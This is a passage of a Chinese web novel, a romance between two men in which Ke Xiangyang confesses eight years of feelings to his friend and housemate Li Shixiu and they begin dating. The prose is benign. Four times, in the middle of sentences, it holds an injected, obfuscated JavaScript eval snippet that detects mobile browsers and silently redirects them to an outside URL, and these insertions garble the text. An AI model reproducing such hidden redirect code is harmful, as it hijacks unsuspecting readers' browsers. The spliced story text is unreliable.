几轮推理下来,柯向阳面无表情地看着连规则都没记清的主持人,腹诽一点也不好玩。 直到剧本结束后,惩罚环节中纪向松和程嘉弘两人一个戴上绿色鱼头面罩,一个戴上月代头套,柯向阳才忍不住跟大家一起笑话了他们一通。 不过玩游戏本就不是他的本意,几人走出房间时,柯向阳眼疾手快地拉住乔梦书落在后面,一脸悲戚道:“救救我!” “什么情况?”乔梦书一头雾水。 柯向阳来不及细说,先提出诉求:“今晚能不能去你家住一晚?你帮我在厉哥面前打个掩护。” 乔梦书虽然好奇,却没有多问,十分效率地想了个借口:“等会我说大学室友约我们吃宵夜,晚点你再给厉时修打个电话说不回去了。” 柯向阳小鸡啄米似的点点头:“嗯嗯。” 厉时修听到两人要去赴大学室友的约,只叮嘱了柯向阳一句:“少喝点酒。” “知道了。”柯向阳垂着眼,心虚得不敢看他。 * 乔梦书把柯向阳带回家,乔梦瑶和程嘉弘还有约会,乔父乔母周末也有自己的社交活动,家里只剩两只小猫咪,倒是方便了他们聊天。 许久不见,小猫早已忘记柯向阳的气味,见他进门,年糕飞快逃跑,糯米反应慢,被柯向阳抱起使劲吸了两口,委屈得“喵喵”叫。 “别欺负我女儿了,赶紧说,到底怎么回事?”乔梦书从冰箱里拿出两罐啤酒,丢给柯向阳一罐,又去厨房翻出一袋五香花生,倒进盘子当下酒菜。 柯向阳灌下一大口啤酒,说:“我跟我爸出柜了。” “什么?”乔梦书挖挖耳朵孔,怀疑自己听错了。 “说完发现厉哥站在我背后,他全听见了。”此刻的柯向阳只能用心如死灰来形容。 “什么?!”乔梦书的声调高了八个度,这是在上演什么狗血档电视剧吗? “然后我跟他说,我说的那些话都不是真的,只是为了气我爸。”当时话一出口柯向阳就后悔了,他知道自己又一次失去了坦白的机会。 果然,乔梦书一听,抄起沙发上的抱枕往柯向阳头上敲:“你是不是傻啊!那么好的机会你还装?你到底在装、什、么!” “我那不是太紧张了吗!所以今晚不敢回去了。”柯向阳一把夺过抱枕抱在怀里,又灌了口啤酒,吃了两颗花生,眉头一皱,“这花生有股怪味啊。” “你怎么这么没用啊!”乔梦书戳戳他的脑门,拿起桌上的包装袋看了眼,“哦,花生过期了。” 柯向阳:“……” “那你接下来打算怎么办?总不能天天不回去吧?好歹交了房租,而且你们在一个办公室上班,躲得了一时,躲不了一世,下周一就得见面了。”乔梦书又翻出来一袋椒盐蚕豆,“这个没过期,吃吧。” 柯向阳唉声叹气:“不知道啊,所以才让你救我啊。” “不是,你为什么要否认啊?那种时候顺势坦白了才是最好的选择啊,厉时修不是不恐同吗?你还怕什么呢?”乔梦书实在无法理解。 柯向阳面露难色,犹豫该不该将自己和厉时修之间发生的那些事告诉乔梦书。 “你果然有事瞒着我,我劝赶紧说,不然我真不管你了。”乔梦书眼睛一眯,握拳威胁。 “事情得从上次你和纪向松来家里看猫的时候说起……”柯向阳一五一十全盘托出,眼见乔梦书的拳头越握越紧。 “我靠!你们两个叼毛,原来你们早就暗度陈仓了,还说没什么进展,非要等全垒打了才叫有进展是吧?!”乔梦书咬着牙,面上难掩兴奋,“算我求你了,你俩赶紧在一起吧!” “可那都是在他以为我是直男的情况下做的啊,所以我才不敢说,现在他知道我不是直男,会不会觉得之前跟我做那些事很恶心呢?”柯向阳依旧满面愁容。 “你听我说,酒后扶你一把的叫兄弟,酒后扶你几把的那叫男同。”乔梦书语重心长道。 柯向阳:“……” “而且是他主动的啊,你信我,他绝对不直。”乔梦书拍着胸脯保证。 柯向阳不确定地说:“接吻那次算我主动吧?” “这不重要,重要的是,既然已经暴露了,你干嘛要多此一举地否认呢?跟你爸出柜都不怕,怎么一碰上厉时修你就变鸵鸟了?”乔梦书一脸恨铁不成钢的表情。 柯向阳将易拉罐里的啤酒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17171851|196840||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一饮而尽,重重叹了口气,还不是因为太在乎,对方的任何反应都足以牵动他的心绪,他不怕厉时修知道自己是同性恋的事,他怕的是厉时修会慢慢发现自己的感情。 “不管怎么样,我还是建议你跟他实话实话,你忘了吗?真诚才是永远的必杀技,不说别的,在朋友这一块,他对你确实没得说。”乔梦书提出了自己的看法。 柯向阳沮丧地趴在茶几上:“所以啊,我不想连朋友都做不成。” “说不定就从朋友变成情侣了呢?”乔梦书蛊惑道。 柯向阳陷入沉思。 * 跟乔梦书挤了一夜,柯向阳根本没睡着,早上厉时修问他什么时候回去,他也拖着没敢回。 翻来覆去地把乔梦书吵醒了,直接被人撵出家门,一出小区就看见厉时修的车停在外面。 柯向阳上车系好安全带,小声问道:“你来怎么不说一声?等多久了啊?” “没多久,早饭吃了吗?”厉时修启动车子,目视前方。 “没有。”柯向阳摇摇头,乔梦书的爸妈不在家,兄妹两人都是要睡到中午起的,没人做早饭。 厉时修问:“那去吃早茶?” “好。” 厉时修带柯向阳去了一家广式早茶餐厅,吃饱喝足,不忘给厉时谦打包一份带回去。 经过昨晚与乔梦书的深入交流,柯向阳已经决定坦白,只是半天都没想好该怎么开口。 厉时修趁着等红绿灯的档口,瞥了柯向阳一眼:“你想说什么就说,看你憋一路了。” 柯向阳调整了一下坐姿,清了清嗓子,说话的声音却极小:“厉哥,其实我昨天跟我爸说的那些话,都是真的。” “嗯,我知道。”厉时修点头。 柯向阳愣了半天:“你怎么知道?” 厉时修:“你表现得太明显了,就差把‘我在说谎’四个字挂脸上了。” “那你为什么不拆穿我?”柯向阳还以为自己真糊弄过去了。 “你想让我知道的时候自然会告诉我,你现在不就在跟我说吗?”厉时修将车开进车库,停好,“我知道你在担心什么,我说同性恋恶心其实是个误会,我那会根本没听见你在问什么,我是想到别的事才会说恶心的。” 柯向阳不忘八卦一句:“你想到什么了?” 厉时修目光微闪:“不记得了。” 厉时修的解释已经足够表明他的立场,柯向阳感动之余,内心的负罪感更重了:“厉哥,对不起,瞒了你这么久,我该早点告诉你的。” 厉时修看向柯向阳,认真道:“小柯,你记住,不管发生什么,我们是朋友这件事永远不会改变。” 这句话是不是意味着哪怕自己告白失败,他们的关系也不会变?柯向阳眼眶发涨,此刻,对厉时修的喜欢满到快要溢出胸口,好想告白。 “不过有件事我还是想搞清楚。”厉时修突然坐直了两分。 柯向阳:“什么?” 厉时修缓缓开口:“所以,你当初的暗恋对象,也是男的?” 31. 冷战 柯向阳面色一僵,这要怎么回答呢? “之前我一直以为你喜欢的是女生,现在看来,似乎只是你用来隐瞒性向的说辞,该不会根本没有那个人吧?”厉时修试探性地说出自己的推测。 怎么会没有呢?柯向阳看着厉时修凌厉的眉眼,呆呆地说:“有的,他是男的。” 厉时修呼吸一滞,勉强维持着面上的平静,问:“他是谁?” 柯向阳真是受够了自己总是脑子一抽的行为,刚刚顺势说“没有”不就好了吗!结果一句话又把自己架起来了,难道真的要在这种情况下告白吗?被拒绝了要怎么办?直接卷铺盖走人? 厉时修不知道柯向阳在短短的半分钟里脑补了些什么,光是看他纠结万分的模样心里一股无名火就蹭蹭往上冒:“不能告诉我吗?” “你不认识,说了你也不知道。”柯向阳感觉自己的大脑已经超负荷运行了,晕晕乎乎想到什么说什么,完全无法思考说出口的话。 “我不认识的人,你是在哪认识的?”印象里,高中的柯向阳除了他几乎没有朋友,一想到在他不知道的地方,柯向阳偷偷喜欢着另一个男人,厉时修就觉得整颗心像被放进油锅里炸一样煎熬。 “偶然认识的。”柯向阳缩缩脖子,心虚得要命。 “真的不能说?”厉时修又问了一遍。 柯向阳沉默,他不想说的事,厉时修不会追问,但从车里出来,厉时修周身的气压明显低了几分。 柯向阳跟在他身后,一脸做错事的表情,他不想再对厉时修说谎,也不想这么快就把老底全抖光。 进家门之前,厉时修叫住柯向阳,问了一个新问题:“你现在还喜欢他吗?” “嗯。”柯向阳点点头。 “不能不喜欢吗?”厉时修的眼中带着一丝希冀。 “我也想啊,可这不是我能控制的。”柯向阳低头露出一个有些苦涩的笑容。 厉时修忍了又忍,还是没忍住在回卧室时“砰”的一声用力关上房门。 柯向阳重重地叹了一口气,厉时修果然不希望他喜欢男人,真不该轻易出柜,两人之间这么快就有了隔阂。 厉时修在卧室,柯向阳不敢跟进去,便在客厅待了一整天。 晚上,卧室里的厉时修左等右等不见人,出来一看才发现柯向阳已经躺在沙发上睡着了。 长长了些的刘海乖巧地搭在额前,眉头微蹙,为白皙的脸庞增添了一抹忧郁。 厉时修的手指悬停在他的嘴唇上方,终是没敢落下,妥协般动作轻柔地将人抱回房间。 * 新的工作周在令人痛苦的周一中开启。 办公室里,厉时修一边听江秘书汇报日程安排,一边指出需要调整的地方。 柯向阳坐在工位兢兢业业地核对各项报告的数据,他早上醒来发现自己身处主卧,想了许久也没想起来是怎么回的房,目光不由自主地往厉时修的方向飘,又在对方即将察觉的瞬间火速转回。 两人从昨天开始,除了必要的交流,再没说过话,虽然平时的厉时修一直是这副表情,但柯向阳能清楚地感觉到他还在生气。 不知道这次什么时候能消气。柯向阳揉着发干的眼球,眼前密密麻麻的数字扭曲成了搬家的蚂蚁,哼哧哼哧地在屏幕上绕圈圈。 柯向阳苦中作乐地笑了出来,感受到不远处投来的四道目光,抿了抿嘴,重新投入工作。 午休时间。 柯向阳在工位上吃完饭,借着丢垃圾的名头溜到茶水室。 “小柯,你是不是眼睛干啊?早上在厉总办公室里看你一直揉眼睛。”江景意关切地问。 柯向阳:“是有点。” 厉时谦连忙附和:“我也是我也是,天天对着电脑,眼睛都要瞎了。” 江景意从口袋掏出两个扁圆形的小瓶子,给他俩一人分一瓶:“这是我的自用款,不仅能润眼,还可以提神,我囤了好几盒,这两瓶送你们了。” “哇!谢谢江哥!真够意思。”厉时谦接过眼药水,给了江景意一个熊抱。 “谢谢啊,等会请你喝奶茶。”柯向阳看着手里造型奇特的瓶身,黑色的外轮廓里包着一块透明的区域,上面印着许多小字,全是日文,根本看不懂。 “客气啥。”江景意摆摆手,说起最近新租的房子,条件很好,所以贵了点,要是能有熟人合租就完美了。 厉时谦遗憾地表示自己已经找纪向松要了一套闲置的房子,准备等他哥赶他的时候再搬走。 “小柯你住在厉总家,应该不会想搬出去吧?”江景意笑着说了一嘴,没想到柯向阳居然在认真考虑。 被连着问了好几个关于房子的问题,江景意表示十分不理解:“厉总家的条件可比我的出租屋好多了,房租还那么低,你真想搬走啊?” “我先问问,说不准,就是因为房租太便宜了,总觉得自己在白嫖,厉哥对我已经够好了。”柯向阳随口扯了个理由。 出柜后莫名其妙的冷战让他有些难受,说不定厉时修也希望他能搬走,但是碍于情面不好意思提,他应该识趣点主动离开,好让自己显得不那么讨人嫌。 “阳哥,我哥不缺你那点钱,你不给房租都没事,别有心理负担啊,这可是我第一次看见我哥有关系这么好的朋友。”厉时谦之前还总吃味厉时修对柯向阳的区别对待,相处久了以后发现柯向阳确实是个值得深交的人,如今是真把他当哥看了。 江景意可以理解柯向阳这种心理,平日游戏群里的大家虽然经常一起玩,但他知道现在的这个团体中,厉时修、厉时谦还有纪向松和其他几人根本不属于一个阶层,身为普通人的他们可能只是几个有钱少爷闲暇时的一点消遣,说不准什么时候就腻了。 柯向阳与厉时修的关系或许比他们几个要牢固得多,但身份差距是一样的,时刻保持理智清醒才是最好的选择。 “好朋友也要有点边界感。”柯向阳喃喃道,这句话仿佛是说给自己听的。 江景意对柯向阳的想法表示赞同,拍拍他的肩说:“反正我一时半会找不到室友,你要是想搬过来随时联系我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17171852|196840||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,如果我先找到室友了,我也会跟你说一声的。” “好,谢谢江哥。” 午休结束,柯向阳回到办公室继续整理资料,只是一直无法集中注意力,于是他从口袋里掏出江景意送的眼药水想要试试。 透明液体滴入眼眶的瞬间,强烈的清凉感顺着眼球直冲天灵盖,柯向阳下意识地闭上眼,多余的药水被眼皮挤出,顺着脸颊流下。 “小柯?” 头顶传来的低沉男声惊得柯向阳浑身一颤,睁开湿漉漉的双眼,不知何时站在他办公桌前的厉时修正皱眉看着他:“怎么哭了?” “没有……”柯向阳刚想解释,就见厉时修俯下身,双手捧着他的脸,用拇指轻轻擦拭掉他脸上的水珠。 厉时修的表情太过认真,解释的话像卡在喉咙说不出口,柯向阳颤抖着举起手,晃晃自己捏着的小瓶子。 经常看江秘书用这款眼药水的厉时修:“……” 柯向阳局促地说:“我……眼睛有点干。” 厉时修松开手,要走了柯向阳整理好的报告,一直到下班都没再跟他说过话。 这下柯向阳是真有点想哭。 * 晚上下班回到家,吃过饭后厉时谦一头钻进改装过的影音室打电玩,厉时修照例待在书房,柯向阳在客厅陪四只猫玩了会,起身回卧室。 这个月才过了一半,不知道厉时修会不会同意他搬走,想着先收拾好东西,心中暗下决定,这次他的态度一定要足够坚决,不能再被厉时修三言两语地迷惑住。 书房里的厉时修还在回想中午无意间在茶水室外听到的那些话,满脑子都是柯向阳想搬走的事。 原以为柯向阳喜欢男人,自己终于有机会了,结果还是一样,他喜欢的是别的男人,宝贝到甚至不愿意将对方的身份告诉自己这个挚友,宁愿冷战整整一天,仍不肯松口。 连他都不认识的人,柯向阳到底是怎么喜欢上的?退一步说,既然喜欢男人了,眼睛就不能放亮点吗?厉时修不信自己会比不上那个不知从哪冒出来的家伙。 越想越气的厉时修再也坐不住了,他气冲冲地走出书房,来到卧室,一打开门,看到的情景更是让他两眼一黑:“你要搬走?!” 柯向阳吓了一跳,正在往行李箱里丢衣服的手顿时定格在半空。 厉时修走进房间,反手关上门,不敢相信地问:“你真的要搬走?” 柯向阳做了那么久的心理建设,在看见厉时修的刹那几乎土崩瓦解,只能硬着头皮道:“我感觉我们现在这么住着不太合适,你肯定也会觉得别扭。” 听到柯向阳的话,厉时修的脸色更难看了:“为什么不合适?我不觉得别扭。” 柯向阳没敢接话,暗暗在心里吐槽:不别扭还一整天不理人。 厉时修突然没头没脑地说了一句:“我就不可以吗?” 柯向阳面露迷茫:“什么?” 厉时修一步一步向他走去,缓缓开口: “你都喜欢男人了,就不可以是我吗?” 32. 喜欢 柯向阳眨眨眼:“厉哥,你刚刚说什么?我的耳朵好像出了点……” 厉时修抓住柯向阳想去掏耳朵的手,凑到他面前,抵着他的额头说:“我也是男人,不可以喜欢我吗?” 柯向阳瞪大双眼,在脑海中拼命解读厉时修说的每一个字,什么叫不可以喜欢他吗?他想要自己喜欢他吗? “为什么不能喜欢我?”厉时修的呼吸近在咫尺,眼中的炙热几乎化为实质的火焰,要将他燃烧殆尽。 这是在做梦吗?要不然,他喜欢了八年的人,此刻怎么会站在他的面前,说着犹如在祈求自己喜欢的话语。 柯向阳张了张嘴,他想问厉时修是不是在开玩笑,想问他是不是自己想的那个意思,可一个字也说不出口。 厉时修眼底的光在柯向阳一言不发的直视下一点点熄灭,本就不抱多大希望的心也跟着缓缓下沉,他松开手:“抱歉,是我太……” 说不出话的柯向阳选择了另一种方式来表达心意,他用尽全身力气扑向想要退开的厉时修,将人扑倒在床,闭上眼,不管不顾凑了上去。 厉时修身体一沉,随即眼睛猛地睁大,未说完的话被两片柔软的唇瓣堵得死死的。 这不是一个温柔的吻,甚至磕到了牙,柯向阳痛哼一声,固执地贴着厉时修的嘴唇,迟迟没有下一步动作。 厉时修根本不敢动,此刻的他如同刚刚的柯向阳一般,害怕一切只是一场梦。 “厉哥。”喉结滚动,柯向阳艰难找回自己的声音,他微微撑起身,声音抖得不像话,“你想要我喜欢你吗?” 察觉柯向阳眼中翻涌的情愫,厉时修不由屏住呼吸。 “可是,我已经喜欢你八年了。”深藏多年的爱意终于得以宣之于口,柯向阳红着眼眶,拼命忍住想要流泪的冲动。 这下轮到厉时修被冲击得说不出话,心中的震撼与狂喜交织在一处,在脑海中炸出阵阵烟花。 他喉咙发紧,手指抚上柯向阳的脸庞,从脸颊摸到耳后,穿过柔软的发丝,最后温柔又坚定地按下他的头,继续那个未完的吻。 舌尖撬开颤抖的牙关,强势入侵,不同于柯向阳的蜻蜓点水,厉时修进攻性十足地掠夺着属于他的气息,如同要将这些年欠下的全部讨回来。 柯向阳被吻得晕晕乎乎,好不容易忍住的眼泪不知不觉又涌了上来,泪珠一颗颗砸在厉时修脸上。 厉时修放开柯向阳红润的嘴唇,捧着他的脸,眼里满是心疼:“别哭。” “我忍不住,厉哥,我太高兴了。”柯向阳抽噎着,鼻头泛红。 这是他无数次幻想的场景,从来不敢奢求的回应,如今毫无预兆地降临,满腔欢喜无处宣泄,全部化为喜悦的泪水落下,怎么也停不下来。 “我知道,我也好高兴。”厉时修发自内心地扬起唇角,抱住柯向阳翻了个身,将人压在身下,细细密密的吻落在柯向阳的额头、眼睛、脸颊、鼻尖,将他的眼泪全部吻去,最后十分珍惜地覆上他的唇。 两人断断续续吻了很久,柯向阳的眼泪也断断续续流了很久,眼睛都哭肿了,厉时修不得不出去找来冰袋给他敷眼睛。 “怎么这么能哭?”厉时修坐在床边,看着躺在床上的柯向阳,冰袋盖住他的上半张脸,只露出红彤彤的鼻头和嘴巴,可爱得要命。 柯向阳的眼睛被遮挡住看不见,说起话来没什么负担,忍不住向厉时修一再确认:“厉哥,你真的也喜欢我吗?” “真的,喜欢你好久了,不敢让你知道。”厉时修不厌其烦地一遍遍回答,然后握住柯向阳的手,轻轻抚摸每一根手指,放在唇边不住亲吻。 一想到厉时修在他不知道的时候跟他受着一样的煎熬,柯向阳又开始想哭了。 厉时修敏锐地听见柯向阳偷偷吸鼻子的声音,立刻出言警告:“不准哭了,眼睛要哭坏了。” 柯向阳瘪瘪嘴,下一秒,唇上传来轻柔的触碰,又是一个湿吻。 “唔……”柯向阳喘着气,推开厉时修,“那你也不许亲了,嘴巴都肿了。” “没关系,待会一起冰敷。”厉时修轻笑一声,把柯向阳的手按在自己胸口,直到现在,他的心脏依旧在急切跳动。 柯向阳静静感受厉时修的心跳,心中欢喜不已。 半夜,洗漱完毕的两人继续相拥卧床。 厉时修抱着柯向阳,下巴抵在他的头顶磨了磨:“其实这和我计划中的告白不太一样。” 柯向阳一惊,抬起埋在厉时修胸前的脑袋:“你有在计划向我告白?” “是啊,知道你喜欢的不是异性之后,我就想跟你告白了,可是你却说你有喜欢的人。”想到这里,厉时修的情绪仍是受到一点影响。 “难怪你那么生气,原来在吃自己的醋。”柯向阳笑了笑,眼里带着抹歉意,“我还以为你介意我同性恋的身份。” 厉时修皱眉:“我怎么会介意这个?” “你原本计划要怎么告白?”柯向阳好奇道。 厉时修思索着说道:“暂时没有具体方案,不过至少得是一个浪漫的场所,准备好鲜花和礼物,写一封正式的告白信念给你听……” “我觉得现在这样就很好了,太正式我会尴尬的。”柯向阳连忙打断,突然理解了一句话,一切都是最好的安排。 厉时修再一次体会到媚眼抛给瞎子看的无力感。 柯向阳将脸埋进厉时修胸前,扭捏地问:“那……我们现在算是情侣了吗?” 厉时修哼了一声:“废话,所以不要再想搬走的事了,以后也不用给我付房租了。” “这怎么好意思。”柯向阳差点憋不住笑。 厉时修挑眉:“住自己男朋友家有什么不好意思的?” “嘿嘿。”厉时修不再只是他的朋友,现在还是他的男朋友,柯向阳喜滋滋地闭上眼睛准备睡觉,下一秒却惊叫一声从床上坐起身。 厉时修跟着起来,问:“怎么了?” “我刚跟江秘书说好要搬过去合租的,现在这样,岂不是得放他鸽子了?”柯向 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17171853|196840||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 阳摸出手机想给江景意发消息,一边打字一边觉得良心不安。 “没关系,我会再给他批一笔租房补贴,他不需要找人合租了。”厉时修安抚地拍拍他的背。 柯向阳立马将对话框里的字全部删除:“那你先跟他说租房补贴的事。” “好。”厉时修意简言赅地发完消息,想到家里某个还在打电玩的人,决定明天就把他赶走。 * 早上醒来,柯向阳看见眼前放大的俊脸,一时有些发懵。 “早啊。”厉时修在他额头轻轻一吻。 “早。”昨晚的记忆疯狂涌现,柯向阳这才想起他们现在已经是正儿八经的恋爱关系了,嘴角控制不住地往上咧。 “起床吧,到点了。”厉时修揉了揉他的头发,率先下床洗漱。 吃早饭时,厉时修在饭桌上宣布:“小四,你在我这住得够久了,今天下班回来就搬出去。” “诶?”厉时谦咬油条的动作一顿,随即哀嚎:“怎么这么突然啊?!” “之前说好一个星期的,你已经住了一个多月了,老纪不是给了你一套房吗?晚上我送你过去。”厉时修擦了擦嘴,示意自己吃好了。 厉时谦嘟囔着:“他那房子什么都没有,哪有这里住得舒服。” 厉时修瞥了他一眼:“我的房子是给你享受的吗?” “我不是这个意思,就是太突然了,不能等周末再搬吗?”厉时谦委屈巴巴地看向厉时修,还想拖一拖。 厉时修果断拒绝:“不行,你在这会打扰到……” “啊,厉哥,瘦肉粥还剩很多,你要不要再吃一碗?”柯向阳慌乱地打断厉时修的话。 “不用,我吃饱了。”厉时修看懂柯向阳的眼神,到底没把原因说出口,反正厉时谦搬走一事已成定局,理由说不说都一样。 厉时谦因为被逐出家门一事情绪低落,深感愧疚的柯向阳主动承担了司机的工作。 到了办公室才发现厉时修的情绪也不怎么样,不会这么快就后悔跟他交往了吧?柯向阳沉浸在自己的猜想中忐忑不安。 厉时修难得没有立即投入工作,坐在办公桌前盯着柯向阳看了许久,突然问他:“你不想公开我们的关系吗?” 柯向阳:“啊?” 厉时修沉着脸,语气不善:“早上我要告诉小四的时候,为什么阻止我?” 原来是因为这个,柯向阳松了口气的同时还有些好笑,不好意思地解释:“我不是不想公开,只是觉得我们才刚在一起,没必要那么着急,我想等关系稳定点再说。” 厉时修的表情瞬间变得奇怪起来。 柯向阳摸摸脸:“干嘛这么看着我?” 厉时修起身向他走来,在柯向阳讶异的目光中俯身给了他一个吻。 “在上班呢,你干嘛呀!”明知道办公室里只有他们两人,柯向阳仍然心虚地四下张望。 厉时修眼神柔和,带着笑意对他说:“我们都相互喜欢这么多年了,还不够稳定吗?” 33. 公开 柯向阳顶着厉时修的目光,老脸一红,心跳不争气地开始加速。 是啊,他们都相互喜欢这么多年了,昨晚他问厉时修喜欢自己多久了,厉时修给出的答案居然跟他差不多。 原来这八年的时光并不是他的一厢情愿,他们一直是两情相悦。直到此刻,柯向阳心中还是有种不真实的虚幻感。 柯向阳不是不想公开,甚至想马上跟乔梦书分享这个好消息,只是面对厉时谦,总觉得哪里不对劲。 于他而言,厉时谦不仅仅是普通的朋友,更是与厉时修有血缘关系的堂兄弟,告诉他就等于告诉了厉时修的家人,这让柯向阳莫名不安。 柯向阳试探地问:“厉哥,你家里应该不知道你喜欢同性吧?” “你在担心这个?”厉时修牵住柯向阳的手,表情认真,“如果你想,我马上就可以跟家里出柜。” “不是,我、我只是……唉,我不知道该怎么说。”柯向阳揪了揪自己的头发,厉时修愿意为他出柜他是很高兴,但他也不想让厉时修因此陷入为难的处境,两人的家庭背景差距太大,保不齐会因此出现很多麻烦事,可他们又不可能一辈子这么偷偷摸摸地谈恋爱,真是纠结死了。 厉时修一眼看出他在想什么,伸手将他被自己揪乱的头发整理好:“跟家里说明情况是迟早的事,就算没有跟你在一起,我也打算告诉他们我有喜欢的人了,对方刚好是男的,你不需要有任何负担。” “那你希望我和我爸说我们的事吗?”柯向阳小心询问。 厉时修:“你不是已经跟他出柜了吗?” “他老觉得我说的是气话,到现在还不肯相信。”柯向阳无奈叹气,他爸在这方面有着莫名的乐观心态。 厉时修想了想,说:“如果叔叔不能接受,暂时先不告诉他比较好,上次不是差点把他气晕了吗?” 柯向阳:“是啊,所以我才不想让你这么快就公开,你家里应该不会那么容易接受吧?” 厉时修明白柯向阳的顾虑是对的:“我知道了,那先瞒着家里,只告诉身边的朋友,你放心,没有我的允许,小四不会乱说的。” 这个方案与柯向阳的想法不谋而合,他点点头,心里那股隐隐的焦虑感一下子烟消云散。 两人心意互通后,柯向阳更加能体会到厉时修对自己的好,之前相处的点点滴滴全部变得有迹可循,厉时修是真的很喜欢他,怎么会完全没发现呢? 柯向阳心中感动,起身抱住厉时修:“厉哥,谢谢你。” “你和我说什么谢谢?”厉时修不满,但还是伸手回抱住他。 两人腻歪了会,重新投入到各自的工作。 午休时,柯向阳向江景意表达了自己不能与他合租的歉意。 江景意挥挥手:“没事,我现在不需要找人合租了,厉总把我的租房补贴翻了一倍,特地说明只能用于租房,刚好够覆盖我现在的房租。” 柯向阳呵呵笑道:“那就好。” “也不知道厉总为什么突发善心,给我加钱,难道是终于发现了我这个秘书的尽职尽责,觉得亏待我了?”江景意摸着下巴思索。 “你就当是这样吧。”柯向阳心虚地别开脸,总不能说是因为你的同事和上司谈恋爱了吧? “要是这样,我更希望他能给我涨涨薪。”江景意惋惜道。 比起江景意的喜气洋洋,厉时谦显得萎靡多了,得知原因是被厉时修赶出家门,江景意凑到柯向阳耳边小声地问:“他不过是从一个大房子搬到另一个大房子里,还不用付房租,到底在不高兴些什么?” 柯向阳猜测:“可能是在他哥家住习惯了吧。” 江景意摇摇头,少爷和平民之间果然有壁。 由于柯向阳的于心不忍,厉时谦的搬家时间推迟到这个周末,算是对他的一个小小安慰。 纪向松给的房子在另一个高档小区里,户型和装修都没得说,只是那套房子闲置着,不像厉时修家设备齐全。 厉时谦是家中老幺,原本该备受宠爱,会落到如今的境地,完全是因为上大学时不务正业,太过挥霍,成绩差到险些毕不了业,因此被家里断了经济来源,要将他发配到自家公司狠狠锻炼一番。 得知以后只能靠自己的工资过活,厉时谦毫不犹豫跨越千里从首都飞到鹤水市,这里不仅有他三哥厉时修,还有和他关系不错的纪向松,怎么都比在冷酷大姐和假面二哥手下舒服。 诚如厉时谦所想,厉时修也就嘴上说得绝情,短短两天内便将纪向松的房子打造成他喜欢的样子,还布置了他最想要的电竞房。 厉时谦一下子又高兴起来,在群里诚挚邀请大家这周末来参加他的乔迁宴,顺便向厉时修讨要一只小猫过去给自己作伴,毫不意外地被拒绝了。 * 周六下午,柯向阳帮着厉时谦一起收拾好东西,仔细检查了好几遍房间,生怕他遗漏下什么重要物品被家政当成垃圾清理掉。 厉时谦没心没肺地在客厅玩猫,环顾四周,厉时修和柯向阳都不在客厅,一个大胆的想法浮上心头。 一切准备就绪,厉时谦一手拖着行李箱,一手揣在裤兜里,一副若无其事的模样往外走。 正在将小猫放回猫屋的柯向阳怎么也没找到橘色那只,有些迟疑地叫住厉时谦:“小四,你的裤兜里……是不是装了什么?” 厉时谦闻言,脚步立刻加快,直至厉时修大步上前,挡在门口。 面对厉时修伸出的手,厉时谦还想装傻:“干嘛啊?我裤兜里装着自己的手呢。” 厉时修:“那你把手拿出来。” 厉时谦:“三哥,你怎么连自己的弟弟都不相信?我真的伤心了。” 趁机从猫屋跑出来的芝麻和牛奶甩着四条腿冲向厉时谦,在他脚边不停打转,还想顺着他的裤脚往上爬,小乖则一直盯着厉时谦鼓鼓囊囊的腿侧,喵喵叫了两声。 “喵呜~”像是回应般,厉时谦的裤兜里传出一阵急促的叫唤。 柯向阳:“……” 眼见事情败露,厉时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17171854|196840||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 谦不情不愿地从兜里抓出面包:“你们有这么多只小猫,给我一只怎么了?我一个人住太孤单了啊!” 缩在厉时谦手里的面包小脸皱成一团,浮现出大写的“委屈”二字,可把柯向阳心疼坏了。 几只小猫感情好,柯向阳不希望它们分开,厉时修自然是无条件拥护他的想法:“你要养宠物外面多的是流浪猫。” 厉时谦噘着嘴把面包还回去,气呼呼地进了电梯。 他们到达纪向松的房子时,纪向松已经在里面等着了,这套房子没有厉时修家大,不过住一个人也是绰绰有余。 乔梦书兄妹和程嘉弘一起来的,带了果篮和两盆绿植当礼物。 没多久江景意也到了,给厉时谦送了一幅挂墙的装饰版画。 